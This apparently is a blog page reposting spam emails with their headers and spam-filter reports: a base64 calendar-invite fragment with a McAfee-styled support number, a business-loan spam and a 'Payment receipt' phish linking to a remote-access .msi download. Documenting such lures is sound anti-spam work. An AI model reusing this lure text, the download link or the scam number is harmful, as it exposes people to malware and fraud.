bGxpYW0gTXVycGh5PGJyIC8+Q29udGFjdCBIb3VyczogNiBBTSB0byA2IFBNPGJyIC8+Q2FsbCBm
b3IgQ3VzdA0KIG9tZXIgU3VwcG9ydCArMS0oODU5KSAgMjIyLTY0ODM8YnIgLz5BZGRyZXNzOiA5
OFRoIFBsYWNlIEJldGhlbCBDdCA2ODAxIFVuaQ0KIHRlZCBTdGF0ZXM8L3A+PHA+Q29weXJpZ2h0
ICZjb3B5XDsyMDI1IE1jQWZlZVwsIEFsbCByaWdodHMgcmVzZXJ2ZWQuPC9wPg0KTEFTVC1NT0RJ
RklFRDoyMDI1MTExOVQxMzI0MDZaDQpMT0NBVElPTjoNClNFUVVFTkNFOjANClNUQVRVUzpDT05G
SVJNRUQNClNVTU1BUlk6SGlcLCBUcmFuc2FjdGlvbiBpcyBjb25maXJtZWQgYW5kIHJlYWR5DQpU
UkFOU1A6T1BBUVVFDQpCRUdJTjpWQUxBUk0NCkFDVElPTjpESVNQTEFZDQpERVNDUklQVElPTjpU
aGlzIGlzIGFuIGV2ZW50IHJlbWluZGVyDQpUUklHR0VSOi1QMERUMEgxME0wUw0KRU5EOlZBTEFS
TQ0KRU5EOlZFVkVOVA0KRU5EOlZDQUxFTkRBUg0K
--00000000000015c89f0643f27f0d--
Business Financing spam from Google Gmail
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 06:16:00 -0700
Received: from mail-ed1-f51.google.com ([209.85.208.51]:55493)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLi1x-00000000FwK-0y1a
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 06:15:39 -0700
Received: by mail-ed1-f51.google.com with SMTP id 4fb4d7f45d1cf-64074f01a6eso2026403a12.2
for; Wed, 19 Nov 2025 05:14:42 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763558075; x=1764162875; darn=doctor.nl2k.ab.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=W6A35Zj0xa3qUQ6/o3+mKd8T3Zrlfv6V6pcZpe+lNfQ=;
b=LTjALxuw6A3HE22dvGa1RaNZR99EGrw95lygWMlOCjcp/njNEZlsS9Cotx6LfnYzVO
RLnVqMwI1Er6Bih9hTAPExlNrIPHjEIBVbecovkdwfWQpeGso3BzcBqQ9Iihy1MA6SKG
K9cBcJirWiVXRrha8OzCy5Tu1Fdz4NFHdx/mIbH3LsblZEDzgoZMxLIVk3agnFO5sS4R
GWNMOP/kXpe7ZJyNRpw6Bhdn0lpnKgg0j0cYrlJS2ibSba9ThSFSMi5FB9SEG/Px3xYp
8tHNKPvMoXhfDVk/lpbPA5TIkVdHP2/rPBWxLp32stlaAw+Ih5kf4PYL8OHhs8EDzUVN
8TOA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763558075; x=1764162875;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=W6A35Zj0xa3qUQ6/o3+mKd8T3Zrlfv6V6pcZpe+lNfQ=;
b=HK6VS4lqxH/Fk6n8A7ig+5/iQ4pAdnm0JybKZohvr1s/u8iF5BQvfq0WzgA5Ihbpes
dtyusBXGb3Zn7lAmfeVFdfndkBaFEBbyTlVY6PhEa8IzEZJEIH8+LyPa+brFaLOPzHrr
LLVsjav/HRXarCsRYF/CpQ6Xfk8W2p2V8nRhen9dWIcl6629bPLW9Ci/Ud+4s93s497L
iKWG0NlxZaJRXQwNXSZjQE96jkFX+Lnl2EvKyVBg8hkBpG5yQSVHlEvrs/FL9PYAgPPa
qZOJ2abVYtH91+rfagnSiKf2KWKNYroc427DvhVoUGknnGvANyqBX34uGUsGfHH3czbl
JOoA==
X-Forwarded-Encrypted: i=1; AJvYcCXgFgMVEyR+oDVXE+XSqgQPYY4WhYEVxzieCSOzGHsdbhp19/ISGUzrMMrtWJXb5YATAf/N@doctor.nl2k.ab.ca
X-Gm-Message-State: AOJu0YySuD3k8tf50pfGNpkS1aC+OiWzqm25uik8BmfexVMKDqmiuXxa
DClZgZrDlwgXNXMT0YHR2JGAJY+Io6vxS4DU7dqOP1+DVaIM8FzmuZQD8dzTo+Nhc9fGzKCVtLS
umiPf9qLdh31h7sHb6d+cGaTh0H9ekmg=
X-Gm-Gg: ASbGncvxmzzVAqA+LRCrLTm/AR1lETa0SfbQDiuc62BKNatBFW0oHPQlkh5TQLbLl0U
yBaOwtLF2Y2h3A7P6lejcNH2ZgdUiFp5+H3w88a30bEfTvl4XqxwT2rN0MpkLbxSGTL/OX7Kb5B
WGuqGHDb/naUrSkZoWtvN6Pu0owkKp0gs8qWwOQTQ9lGGy7KYKVsjVjssabo65hteIxsTciVDfs
Krt+ioSuJsK/cfiT9eOOgfmh3PVi6EviOd8u/o1n7OySgdBrQQ3lOyd+ZsHaYyqMbEYHu2Ezcc=
X-Google-Smtp-Source: AGHT+IGR/S6Tdv4lTYW7s1fUYlO/Purt8zo7/Qhzj7Ot6niCFyDRuxyVVhIDaVGgr3PZvbK8XrMwv5PhazA/1nxHJFk=
X-Received: by 2002:a17:907:748:b0:b72:8398:f248 with SMTP id
a640c23a62f3a-b7367869a36mr1987154266b.2.1763558075313; Wed, 19 Nov 2025
05:14:35 -0800 (PST)
MIME-Version: 1.0
From: Frank Morgan
Date: Wed, 19 Nov 2025 04:14:23 -0900
X-Gm-Features: AWmQ_blu0gfiVHLnLAMq8x0CBsuRciVy8YBS232ZpLX6NBQbP8TdTzOXYUIjS-I
Message-ID:
Subject: VBN
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000009eb2e30643f25c8c"
Bcc: dave@doctor.nl2k.ab.ca
X-Spam_score: 6.4
X-Spam_score_int: 64
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Hello, Our organization is offering Business/Investment Loan,Agricultural
loan, working capital, debt financing and with potential prospects Here in
the UK. We can help your business or that of a client/ friend devise a plan
for success.
Content analysis details: (6.4 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.208.51 listed in will-spam-for-food.eu.org]
[209.85.208.51 listed in will-spam-for-food.eu.org]
[209.85.208.51 listed in will-spam-for-food.eu.org]
[209.85.208.51 listed in will-spam-for-food.eu.org]
[209.85.208.51 listed in will-spam-for-food.eu.org]
[209.85.208.51 listed in will-spam-for-food.eu.org]
[209.85.208.51 listed in will-spam-for-food.eu.org]
[209.85.208.51 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.208.51 listed in dnsbl.ahbl.org]
[209.85.208.51 listed in dnsbl.ahbl.org]
[209.85.208.51 listed in dnsbl.ahbl.org]
[209.85.208.51 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.208.51 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.208.51 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.208.51 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.208.51 listed in dnsbl.ahbl.org]
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.208.51 listed in list.dnswl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[fm483554(at)gmail.com]
0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in
digit
[fm483554(at)gmail.com]
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.208.51 listed in wl.mailspike.net]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
Subject: {SPAM?} VBN
--0000000000009eb2e30643f25c8c
Content-Type: text/plain; charset="UTF-8"
Hello,
Our organization is offering Business/Investment Loan,Agricultural loan,
working capital, debt financing and with potential prospects Here in the UK.
We can help your business or that of a client/ friend devise a plan for
success.
Terms and conditions apply.
Best regards
Frank
--0000000000009eb2e30643f25c8c
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
--0000000000009eb2e30643f25c8c--
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 06:16:00 -0700
Received: from mail-ed1-f51.google.com ([209.85.208.51]:55493)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLi1x-00000000FwK-0y1a
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 06:15:39 -0700
Received: by mail-ed1-f51.google.com with SMTP id 4fb4d7f45d1cf-64074f01a6eso2026403a12.2
for
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763558075; x=1764162875; darn=doctor.nl2k.ab.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=W6A35Zj0xa3qUQ6/o3+mKd8T3Zrlfv6V6pcZpe+lNfQ=;
b=LTjALxuw6A3HE22dvGa1RaNZR99EGrw95lygWMlOCjcp/njNEZlsS9Cotx6LfnYzVO
RLnVqMwI1Er6Bih9hTAPExlNrIPHjEIBVbecovkdwfWQpeGso3BzcBqQ9Iihy1MA6SKG
K9cBcJirWiVXRrha8OzCy5Tu1Fdz4NFHdx/mIbH3LsblZEDzgoZMxLIVk3agnFO5sS4R
GWNMOP/kXpe7ZJyNRpw6Bhdn0lpnKgg0j0cYrlJS2ibSba9ThSFSMi5FB9SEG/Px3xYp
8tHNKPvMoXhfDVk/lpbPA5TIkVdHP2/rPBWxLp32stlaAw+Ih5kf4PYL8OHhs8EDzUVN
8TOA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763558075; x=1764162875;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=W6A35Zj0xa3qUQ6/o3+mKd8T3Zrlfv6V6pcZpe+lNfQ=;
b=HK6VS4lqxH/Fk6n8A7ig+5/iQ4pAdnm0JybKZohvr1s/u8iF5BQvfq0WzgA5Ihbpes
dtyusBXGb3Zn7lAmfeVFdfndkBaFEBbyTlVY6PhEa8IzEZJEIH8+LyPa+brFaLOPzHrr
LLVsjav/HRXarCsRYF/CpQ6Xfk8W2p2V8nRhen9dWIcl6629bPLW9Ci/Ud+4s93s497L
iKWG0NlxZaJRXQwNXSZjQE96jkFX+Lnl2EvKyVBg8hkBpG5yQSVHlEvrs/FL9PYAgPPa
qZOJ2abVYtH91+rfagnSiKf2KWKNYroc427DvhVoUGknnGvANyqBX34uGUsGfHH3czbl
JOoA==
X-Forwarded-Encrypted: i=1; AJvYcCXgFgMVEyR+oDVXE+XSqgQPYY4WhYEVxzieCSOzGHsdbhp19/ISGUzrMMrtWJXb5YATAf/N@doctor.nl2k.ab.ca
X-Gm-Message-State: AOJu0YySuD3k8tf50pfGNpkS1aC+OiWzqm25uik8BmfexVMKDqmiuXxa
DClZgZrDlwgXNXMT0YHR2JGAJY+Io6vxS4DU7dqOP1+DVaIM8FzmuZQD8dzTo+Nhc9fGzKCVtLS
umiPf9qLdh31h7sHb6d+cGaTh0H9ekmg=
X-Gm-Gg: ASbGncvxmzzVAqA+LRCrLTm/AR1lETa0SfbQDiuc62BKNatBFW0oHPQlkh5TQLbLl0U
yBaOwtLF2Y2h3A7P6lejcNH2ZgdUiFp5+H3w88a30bEfTvl4XqxwT2rN0MpkLbxSGTL/OX7Kb5B
WGuqGHDb/naUrSkZoWtvN6Pu0owkKp0gs8qWwOQTQ9lGGy7KYKVsjVjssabo65hteIxsTciVDfs
Krt+ioSuJsK/cfiT9eOOgfmh3PVi6EviOd8u/o1n7OySgdBrQQ3lOyd+ZsHaYyqMbEYHu2Ezcc=
X-Google-Smtp-Source: AGHT+IGR/S6Tdv4lTYW7s1fUYlO/Purt8zo7/Qhzj7Ot6niCFyDRuxyVVhIDaVGgr3PZvbK8XrMwv5PhazA/1nxHJFk=
X-Received: by 2002:a17:907:748:b0:b72:8398:f248 with SMTP id
a640c23a62f3a-b7367869a36mr1987154266b.2.1763558075313; Wed, 19 Nov 2025
05:14:35 -0800 (PST)
MIME-Version: 1.0
From: Frank Morgan
Date: Wed, 19 Nov 2025 04:14:23 -0900
X-Gm-Features: AWmQ_blu0gfiVHLnLAMq8x0CBsuRciVy8YBS232ZpLX6NBQbP8TdTzOXYUIjS-I
Message-ID:
Subject: VBN
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000009eb2e30643f25c8c"
Bcc: dave@doctor.nl2k.ab.ca
X-Spam_score: 6.4
X-Spam_score_int: 64
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Hello, Our organization is offering Business/Investment Loan,Agricultural
loan, working capital, debt financing and with potential prospects Here in
the UK. We can help your business or that of a client/ friend devise a plan
for success.
Content analysis details: (6.4 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.208.51 listed in will-spam-for-food.eu.org]
[209.85.208.51 listed in will-spam-for-food.eu.org]
[209.85.208.51 listed in will-spam-for-food.eu.org]
[209.85.208.51 listed in will-spam-for-food.eu.org]
[209.85.208.51 listed in will-spam-for-food.eu.org]
[209.85.208.51 listed in will-spam-for-food.eu.org]
[209.85.208.51 listed in will-spam-for-food.eu.org]
[209.85.208.51 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.208.51 listed in dnsbl.ahbl.org]
[209.85.208.51 listed in dnsbl.ahbl.org]
[209.85.208.51 listed in dnsbl.ahbl.org]
[209.85.208.51 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.208.51 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.208.51 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.208.51 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.208.51 listed in dnsbl.ahbl.org]
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.208.51 listed in list.dnswl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[fm483554(at)gmail.com]
0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in
digit
[fm483554(at)gmail.com]
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.208.51 listed in wl.mailspike.net]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
Subject: {SPAM?} VBN
--0000000000009eb2e30643f25c8c
Content-Type: text/plain; charset="UTF-8"
Hello,
Our organization is offering Business/Investment Loan,Agricultural loan,
working capital, debt financing and with potential prospects Here in the UK.
We can help your business or that of a client/ friend devise a plan for
success.
Terms and conditions apply.
Best regards
Frank
--0000000000009eb2e30643f25c8c
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
Hello,
Our organization is offering Business/Investment=
Loan,Agricultural loan, working capital, debt financing and with potential=
prospects Here in the UK.
We can help your business or that of a cl=
ient/ friend devise a plan for success.
Terms and conditions apply.<=
br>
Best regards
Frank
Our organization is offering Business/Investment=
Loan,Agricultural loan, working capital, debt financing and with potential=
prospects Here in the UK.
We can help your business or that of a cl=
ient/ friend devise a plan for success.
Terms and conditions apply.<=
br>
Best regards
Frank
--0000000000009eb2e30643f25c8c--
Invoice Phish
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 05:38:09 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLhRR-0000000015q-3taI
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 05:37:45 -0700
Resent-From: The Doctor
Resent-Date: Wed, 19 Nov 2025 05:37:45 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from srve89.controlvps.com ([45.227.163.89]:44007)
by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLhDF-00000000Pvy-0Geg
for root@nk.ca;
Wed, 19 Nov 2025 05:23:14 -0700
Received: from localhost (localhost [127.0.0.1])
by srve89.controlvps.com (Postfix) with ESMTP id A37C8254C9;
Wed, 19 Nov 2025 09:19:58 -0300 (-03)
Received: from srve89.controlvps.com ([127.0.0.1])
by localhost (srve89.controlvps.com [127.0.0.1]) (amavisd-new, port 10024)
with ESMTP id HS7ncHGUcRir; Wed, 19 Nov 2025 09:19:57 -0300 (-03)
Received: from 45.227.163.89 (localhost [127.0.0.1])
by srve89.controlvps.com (Postfix) with ESMTP id E191C2548F;
Wed, 19 Nov 2025 09:19:28 -0300 (-03)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
format=flowed
Content-Transfer-Encoding: 7bit
Date: Wed, 19 Nov 2025 20:19:28 +0800
From: Codi Construction
To: undisclosed-recipients:;
Subject: Payment receipt
Reply-To: sales@solardaportela.pt
Mail-Reply-To: sales@solardaportela.pt
Message-ID:
X-Sender: sales@myerscoinc.com
User-Agent: Roundcube Webmail/0.9.1
X-Spam_score: 7.8
X-Spam_score_int: 78
X-Spam_bar: +++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Please click the remote link below to view Payment receipt.
https://rxfmeeting.com/Allow_Remote_Acess_To_View_Payment_Receipt.msi Paid
on - Wednesday, November 19, 2025 7:18am
Content analysis details: (7.8 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[45.227.163.89 listed in will-spam-for-food.eu.org]
[45.227.163.89 listed in will-spam-for-food.eu.org]
[45.227.163.89 listed in will-spam-for-food.eu.org]
[45.227.163.89 listed in will-spam-for-food.eu.org]
[45.227.163.89 listed in will-spam-for-food.eu.org]
[45.227.163.89 listed in will-spam-for-food.eu.org]
[45.227.163.89 listed in will-spam-for-food.eu.org]
[45.227.163.89 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[45.227.163.89 listed in dnsbl.ahbl.org]
[45.227.163.89 listed in dnsbl.ahbl.org]
[45.227.163.89 listed in dnsbl.ahbl.org]
[45.227.163.89 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[45.227.163.89 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[45.227.163.89 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[45.227.163.89 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[45.227.163.89 listed in dnsbl.ahbl.org]
-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact
cert-sa@returnpath.net
[Excessive Number of Queries |]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[45.227.163.89 listed in sa-trusted.bondedsender.org]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[45.227.163.89 listed in sa-accredit.habeas.com]
-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact
safe-sa@returnpath.net
[Excessive Number of Queries |]
1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,
https://senderscore.org/blacklistlookup/
[45.227.163.89 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[45.227.163.89 listed in bl.score.senderscore.com]
0.9 SPF_FAIL SPF: sender does not match SPF record (fail)
[SPF failed: Rejected by SPF record.]
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.4 SALES_REPLY Your parents named you sales?
0.9 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO
2.0 FSL_HELO_BARE_IP_2 No description available.
0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!
Subject: {SPAM?} Payment receipt
Please click the remote link below to view Payment receipt.
https://rxfmeeting.com/Allow_Remote_Acess_To_View_Payment_Receipt.msi
Paid on - Wednesday, November 19, 2025 7:18am
Best Regards,
Codi Construction
6842 Northland Dr, Stanwood, MI 49346
+1 231-823-2301
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 05:38:09 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLhRR-0000000015q-3taI
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 05:37:45 -0700
Resent-From: The Doctor
Resent-Date: Wed, 19 Nov 2025 05:37:45 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from srve89.controlvps.com ([45.227.163.89]:44007)
by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLhDF-00000000Pvy-0Geg
for root@nk.ca;
Wed, 19 Nov 2025 05:23:14 -0700
Received: from localhost (localhost [127.0.0.1])
by srve89.controlvps.com (Postfix) with ESMTP id A37C8254C9;
Wed, 19 Nov 2025 09:19:58 -0300 (-03)
Received: from srve89.controlvps.com ([127.0.0.1])
by localhost (srve89.controlvps.com [127.0.0.1]) (amavisd-new, port 10024)
with ESMTP id HS7ncHGUcRir; Wed, 19 Nov 2025 09:19:57 -0300 (-03)
Received: from 45.227.163.89 (localhost [127.0.0.1])
by srve89.controlvps.com (Postfix) with ESMTP id E191C2548F;
Wed, 19 Nov 2025 09:19:28 -0300 (-03)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
format=flowed
Content-Transfer-Encoding: 7bit
Date: Wed, 19 Nov 2025 20:19:28 +0800
From: Codi Construction
To: undisclosed-recipients:;
Subject: Payment receipt
Reply-To: sales@solardaportela.pt
Mail-Reply-To: sales@solardaportela.pt
Message-ID:
X-Sender: sales@myerscoinc.com
User-Agent: Roundcube Webmail/0.9.1
X-Spam_score: 7.8
X-Spam_score_int: 78
X-Spam_bar: +++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Please click the remote link below to view Payment receipt.
https://rxfmeeting.com/Allow_Remote_Acess_To_View_Payment_Receipt.msi Paid
on - Wednesday, November 19, 2025 7:18am
Content analysis details: (7.8 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[45.227.163.89 listed in will-spam-for-food.eu.org]
[45.227.163.89 listed in will-spam-for-food.eu.org]
[45.227.163.89 listed in will-spam-for-food.eu.org]
[45.227.163.89 listed in will-spam-for-food.eu.org]
[45.227.163.89 listed in will-spam-for-food.eu.org]
[45.227.163.89 listed in will-spam-for-food.eu.org]
[45.227.163.89 listed in will-spam-for-food.eu.org]
[45.227.163.89 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[45.227.163.89 listed in dnsbl.ahbl.org]
[45.227.163.89 listed in dnsbl.ahbl.org]
[45.227.163.89 listed in dnsbl.ahbl.org]
[45.227.163.89 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[45.227.163.89 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[45.227.163.89 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[45.227.163.89 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[45.227.163.89 listed in dnsbl.ahbl.org]
-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact
cert-sa@returnpath.net
[Excessive Number of Queries |
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[45.227.163.89 listed in sa-trusted.bondedsender.org]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[45.227.163.89 listed in sa-accredit.habeas.com]
-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact
safe-sa@returnpath.net
[Excessive Number of Queries |
1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,
https://senderscore.org/blacklistlookup/
[45.227.163.89 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[45.227.163.89 listed in bl.score.senderscore.com]
0.9 SPF_FAIL SPF: sender does not match SPF record (fail)
[SPF failed: Rejected by SPF record.]
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.4 SALES_REPLY Your parents named you sales?
0.9 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO
2.0 FSL_HELO_BARE_IP_2 No description available.
0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!
Subject: {SPAM?} Payment receipt
Please click the remote link below to view Payment receipt.
https://rxfmeeting.com/Allow_Remote_Acess_To_View_Payment_Receipt.msi
Paid on - Wednesday, November 19, 2025 7:18am
Best Regards,
Codi Construction
6842 Northland Dr, Stanwood, MI 49346
+1 231-823-2301